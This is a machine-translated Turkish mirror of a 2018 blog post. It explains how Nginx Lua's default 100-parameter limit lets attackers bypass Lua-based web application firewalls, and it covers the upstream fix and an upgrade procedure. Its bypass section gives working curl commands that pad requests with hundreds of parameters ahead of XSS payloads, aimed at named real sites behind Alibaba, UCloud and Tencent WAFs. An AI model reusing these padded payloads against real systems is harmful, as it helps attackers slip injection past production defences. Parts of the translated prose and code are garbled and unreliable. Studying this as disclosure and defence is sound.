Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 16994|Yanıt: 1

[Güvenlik Açığı] Nginx Lua'nın WAF Uygulama Güvenlik Duvarı Açığı

[Bağlantıyı kopyala]
Yayınlandı 27.04.2018 09:23:29 | | | |
ginx Lua parametreleri elde ettiğinde, ilk 100 parametre değeri varsayılan olarak elde edilir, geri kalanlar ise atılır.
Bu nedenle, Nginx Lua kullanan WAF'ler varsayılan olarak atlanacaktır.
20 Nisan 18 tarihinde, güvenlik yolcusundan biri bu detayı zaten açıklamıştı, bu yüzden ben de bu 233 numaralı makaleyi yayımladım.



İlke

Resmi açıklama şöyledir

En fazla 100 istek argümanı varsayılan olarak ayrıştırılır (aynı isimle olanlar dahil) ve ek istek argümanlar potansiyel koruma için sessizce ellenir Hizmet Reddi saldırıları.

Varsayılan olarak 100'e kadar istek parametresi (aynı isme sahip olanlar dahil) ayrıştırılabilir ve potansiyel hizmet reddi saldırılarını önlemek için ek istek parametreleri otomatik olarak düşürülür.

100 ara, yaklaşık olarak aşağıdaki yöntem aynı sorunu yaşıyor.
ngx.req.get_uri_args get için talep parametrelerini alın
ngx.req.get_post_args Gönderi için talep parametrelerini alın
ngx.req.get_headers İstek başlığını alın
ngx.decode_args Parametrelerin URL'sini çözün
ngx.resp.get_headers Yanıt başlığını alın
Lua-nginx-modül kaynak kodunda, kaynak kodunun varsayılan maksimum istek parametresi ve başlığını 100 olarak ayarladığını görebiliriz




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Ancak yetkili, varsayılan değeri değiştirmek için bir yöntem sağlar; örneğin ilk 200 istek parametresini almak için ngx.req.get_uri_args (200) gibi.

Test

Talep parametresi 101 ise, son istek parametresi elde edilemez.

curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Bir istek parametresini azaltırsanız, istek parametreleri tam olarak 100 olduğunda son istek parametresini alabilirsiniz.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
C: ZBG
Seni yakaladım, zbg

Varsayılan olarak gerçekten 100 istek parametresi olduğunu ve 100 istek parametresinden sonra gelen istek parametrelerinin atılacağını unutmayın.

Yukarıdaki dönüş içeriğinde, kaba konumun ortasında, son zbg parametresinin zaten çıktı olması garip bir durum. Tahminim, çıktı sıralı değil, ancak ayrıştırmanın yapıldığı sıra, parametrelerin sunulma sırasına uyduğu için 101. parametre değeri zbg olduğunda bu değer elde edilemez.

Ekte şu parametreleri üreten python betiği eklenir:

# Yazar: ZBG
# Mail:zbg@zbg.org
# tarih: 2018-04-03

a = ''
Aralıktaki i için(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
A yaz
onarım
Elbette, kaynak kodda parametrenin MAX değerinin değiştirilmesi önerilmez. Çünkü ne kadar büyük değer belirlerseniz belirleyin, bu değer atlanabilir. Yöntemin parametreleriyle ayarlanması önerilir.
Eğer istek parametresinin uzunluğunu alıp ngx.req.get_uri_args (uzunluk) gibi bir yöntem kullanabiliyorsanız, bu yeterli olmaz mı?
Belgeleri okuduğumda, istenen parametrelerin sayısının alınamadığını fark ettim. Ancak, uzunluğu 0'a ayarsanız, istenen tüm parametreleri alabilirsiniz.

Bu argüman, sınırı kaldırmak ve alınan tüm istek argümanlarını işlemek için sıfıra ayarlanabilir.
yerel args = ngx.req.get_uri_args(0)

Ancak, potansiyel hizmet reddi saldırılarını önlemek için 0'a ayarlanması kesinlikle tavsiye edilmiyor.

max_args kapağının kaldırılması kesinlikle tavsiye edilmez.

Aslında, 0 ayarının potansiyel bir hizmet redaksiyonuna yol açacağını ve isteğin ne kadar parametre olursa olsun nginx'e gideceğini merak ediyordum.

Bir sorunu yetkiliye ilettim ve yazar ngx.req.get_uri_args (0)'ın sunucunun CPU ve bellek kullanımını artıracağını söyledi. Daha sonra 200 parametreyi test ettim ve Nginx+php kullanarak 200. parametri elde ettim; bu da Nginx'in varsayılan olarak istenen parametre sayısını sınırlamadığı anlamına geliyor. O zaman sorun Nginx Lua'nın kendisinde olabilir,Nginx Lua tüm parametreleri almak için ngx.req.get_uri_args(0) kullandığında ve bunları yineleme yaptığında, çok sayıda parametre istendiğinde daha fazla CPU ve bellek tüketir ve sonunda hizmet reddedilmesine bile yol açar

04/03/2018 tarihinde Bypass007 bu hata düzeltmesiyle ilgili resmi olarak bir SORUN gündeme getirdi ve nihayet 2018-04-21 tarihinde bu SORUNA dayanarak yeni bir özellik ekledi. Bu fonksiyonun commit kayıt adresi: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Fonksiyon açıklaması şöyledir: v0.10.13'ten sonraki sürümlerde (v0.10.13 dahil), istek sınırı aşıldığında, ikinci dönüş değeri kısaltılmış dizidir.
v0.10.13'ten itibaren, sınır aşıldığında, "kesilmiş" diziyi olan ikinci bir değer döndürür.
Ancak, isteğe bağlı max_args fonksiyonu argümanı bu sınırı aşmak için kullanılabilir:
yerel args, err = ngx.req.get_uri_args(10)
err == "kesilmiş" ise
     -- mevcut talebi burada görmezden gelmek veya reddetmek seçeneği yapılabilir
Son

Böylece son çözüm çıktı.

Lua-nginx-module'ü v0.10.13 veya daha sonrasına yükseltin

Sonra toplam parametre sayısını sınırlayın, çünkü toplam sayının ne kadar sınırlı olduğuna dair bence şahsen 100 yeterli

OpenResty, lua-nginx-modülünü yükseltiyor

OpenResty yükseltme modülü hakkında hiçbir bilgi bulamadım, bu yüzden lua-nginx-modülünü kendi başıma nasıl yükselteceğimi buldum.

Adımlar şunlardır:

Lua-nginx-module modülünün ilgili versiyonunu indirin
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
Açmak
tar -zxvf v0.10.13
Önceki lua-nginx-module sürümünü sil
rm -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Yeni lua-nginx-modülünü kopyala
MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Derleme için VeryNginx'in derleme parametrelerine bakınız


Vaka bypass

Aşağıdaki WAF'lerde Nginx Lua kullanıp kullanmayacağımdan emin değilim, ancak toplam parametre sayısı tarafından atlanabilirler.

Ali WAF

Bu WAF, Alibaba tarafından dahili olarak kullanılan bir WAF'tir; yani *.taobao.com gibi alan adları tarafından kullanılan WAF ve Alibaba Cloud tarafından satılan bulut WAF için test edilmemiştir.
Öncelikle, onu yakalamak için bir POST XSS Yükü talep edin.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Fuzz aracılığıyla, XSS Payload ile parametre sayısı 478'e çıkarıldığında artık ele geçirilmediği ve web sitesine normal şekilde erişilebildiği tespit edildi.
Curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a10=110&a111=111&a112=112&a13=113&a114=114&a15=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&35=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a==<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Test edilen WAF, UCloud tarafından satılan bir WAF'tir.
İstek parametresi 138'e yükseltildiğinde, artık engellenmez ve web sitesi normal şekilde erişilir.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a10=110&a111=111&a112=112&a13=113&a114=114&a15=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Bu WAF, Tencent tarafından dahili olarak kullanılan bir WAF'tir; yani *.qq.com gibi alan adları tarafından kullanılan WAF ve Tencent Cloud tarafından satılan bulut WAF için test edilmemiştir.
İstek parametresi 4000'e yükseldiğinde, artık engellenmez ve web sitesi normal şekilde erişilir. Aşağıdaki alanların rastgele testleri etkilenir.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

özet

Bu soru çok basit ve belgeyi dikkatlice okuduğunuzda bulabilirsiniz. Ama neden öğrenemedim? Bence hâlâ çok az düşünmek.
Referans
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Önceki:Photoshop'u sıfırdan öğrenin, acemiden tanrıya 18 ders
Önümüzdeki:Lua ve Luajit'in güçlü ve zayıf yönleri
Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com